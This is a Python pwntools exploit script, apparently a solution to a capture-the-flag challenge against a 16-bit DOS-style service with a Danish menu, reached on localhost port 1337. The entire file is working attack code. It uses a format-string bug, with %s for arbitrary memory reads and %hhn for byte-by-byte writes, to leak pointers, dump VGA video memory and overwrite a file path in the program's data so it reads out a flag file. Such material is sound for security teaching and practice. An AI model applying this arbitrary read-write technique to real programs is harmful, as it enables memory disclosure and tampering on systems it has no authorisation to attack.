#!/usr/bin/env python3

from pwn import *
import re

def fmt_vuln_read(tgt, addr):
    addr = build_usable_pointer(addr)

    tgt.recvuntil(b'Dit valg:')
    tgt.send(addr + b'%s\n')
    tgt.recvuntil(addr)
    return tgt.recvuntil(b'\n')[:-1]

def fmt_vuln_write(tgt, addr, what):
    addr = build_usable_pointer(addr)

    if what < 9:
        what += 256

    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'\x01\x01' + addr + f'%{what - 6}x%hhn\n'.encode())

def fmt_vuln_read_all(tgt, addr, count):
    p = log.progress('Reading %d bytes at %s' % (count, pretty_pointer(addr)))
    try:
        buf = open('memory-%05x.mem' % linear_pointer(addr), 'rb').read()
    except FileNotFoundError:
        buf = b''
    while len(buf) < count:
        read = fmt_vuln_read(tgt, segmented_pointer(linear_pointer(addr) + len(buf)))
        buf += read
        if len(read) < 507:
            buf += b'\0'
        p.status('Read %d bytes', len(buf))
        open('memory-%05x.mem' % linear_pointer(addr), 'wb').write(buf)
    p.success()
    buf = buf[:count]
    open('memory-%05x.mem' % linear_pointer(addr), 'wb').write(buf)
    return buf

def fmt_vuln_write_all(tgt, addr, buf):
    p = log.progress('Writing %d bytes at %s' % (len(buf), pretty_pointer(addr)))
    for i, x in enumerate(buf):
        p.status('Wrote %d bytes', i)
        fmt_vuln_write(tgt, segmented_pointer(linear_pointer(addr) + i), x)
    p.success()

def parse_pointer(p):
    return tuple((int(x, 16) for x in p.split(b':')))

def pretty_pointer(p):
    return ':'.join(['%04x' % x for x in p])

def linear_pointer(p):
    return (p[0] << 4) + p[1]

def segmented_pointer(p):
    return ((p >> 4) & 0xff0f, p & 0x0f0f)

def build_usable_pointer(p):
    segment, offset = p
    avoid = [0x00, 0x0a, 0x25]

    while (segment >> 0) & 0xff in avoid or (segment >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid or (offset >> 8) & 0xff in avoid:
        segment = (segment - 1) & 0xffff
        offset = (offset + 16) & 0xffff

    return p32((segment << 16) | offset)

def xlat_vga_char(char, attr):
    colour_map = [
        ( 0,  0,  0), ( 0,  0, 170), ( 0, 170,  0), ( 0, 170, 170), (170,  0,  0), (170,  0, 170), (170,  85,  0), (170, 170, 170),
        (85, 85, 85), (85, 85, 255), (85, 255, 85), (85, 255, 255), (255, 85, 85), (255, 85, 255), (255, 255, 85), (255, 255, 255),
    ]

    ansi = ''
    if attr & 0x80 != 0:
        ansi += '5;'
    ansi += '38;2;%d;%d;%d;' % (colour_map[(attr & 0xf)])
    ansi += '48;2;%d;%d;%d' % (colour_map[(attr & 0x7) >> 4])
    return '\x1b[' + ansi + 'm' + bytes([char]).decode('cp437') + '\x1b[0m'

def rebuild_screen(tgt):
    vga_segment = 0xB800
    w = 80
    h = 25
    bpc = 2
    stride = w * bpc
    plane = stride * h
    skip = 6 # For some reason the first 6 bytes of video memory don't read correctly

    video = b'\x20\x07' * (skip // 2) + fmt_vuln_read_all(tgt, (vga_segment, skip), plane - skip)
    video = [ video[i:i+stride] for i in range(0, plane, stride)]
    log.info('Rebuilt video memory:')
    log.info('  +%s+' % ('-' * w))
    for line in video:
        log.info('  |%s|' % ''.join([xlat_vga_char(c, a) for c, a in zip(line[::bpc], line[1::bpc])]));
    log.info('  +%s+' % ('-' * w))

    return [x[::2] for x in video]

with remote('localhost', 1337) as tgt:
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'rigtige vej:')
    function_ptr, static_ptr, flag_ptr, flag_file_ptr = [parse_pointer(tgt.recv(10)) for _ in range(4)]

    log.info('Got pointers: %s %s %s %s', pretty_pointer(function_ptr), pretty_pointer(static_ptr), pretty_pointer(flag_ptr), pretty_pointer(flag_file_ptr));

    log.warn('First flag: %s', fmt_vuln_read(tgt, flag_ptr).decode('utf-8'))
    flag3 = fmt_vuln_read(tgt, flag_file_ptr)

    screen = rebuild_screen(tgt)
    for line in screen:
        if line.startswith(b'One second flag is: '):
            flag2 = line[16:line.index(b'}', 16) + 1]

    log.warn('Second flag: %s', flag2.decode('utf-8'))
    log.info('Third flag is in: %s', flag3.decode('utf-8'))

    static_base = (static_ptr[0], 0)
    data_base = (flag_ptr[0], 0)
    static = fmt_vuln_read_all(tgt, static_base, linear_pointer(data_base) - linear_pointer(static_base))

    target = (static_base[0], static.index(b'C:\\quotes.txt'))
    log.info('Targeting overwrite at %s', pretty_pointer(target))
    log.info('Current value: %s', fmt_vuln_read(tgt, target))
    fmt_vuln_write_all(tgt, target, flag3 + b'\0')
    log.info('Current value: %s', fmt_vuln_read(tgt, target))

    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'4\n')
    tgt.recvuntil(b' 1) ')
    log.warn('Third flag: %s', tgt.recvuntil(b'\n').decode('utf-8'))

    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')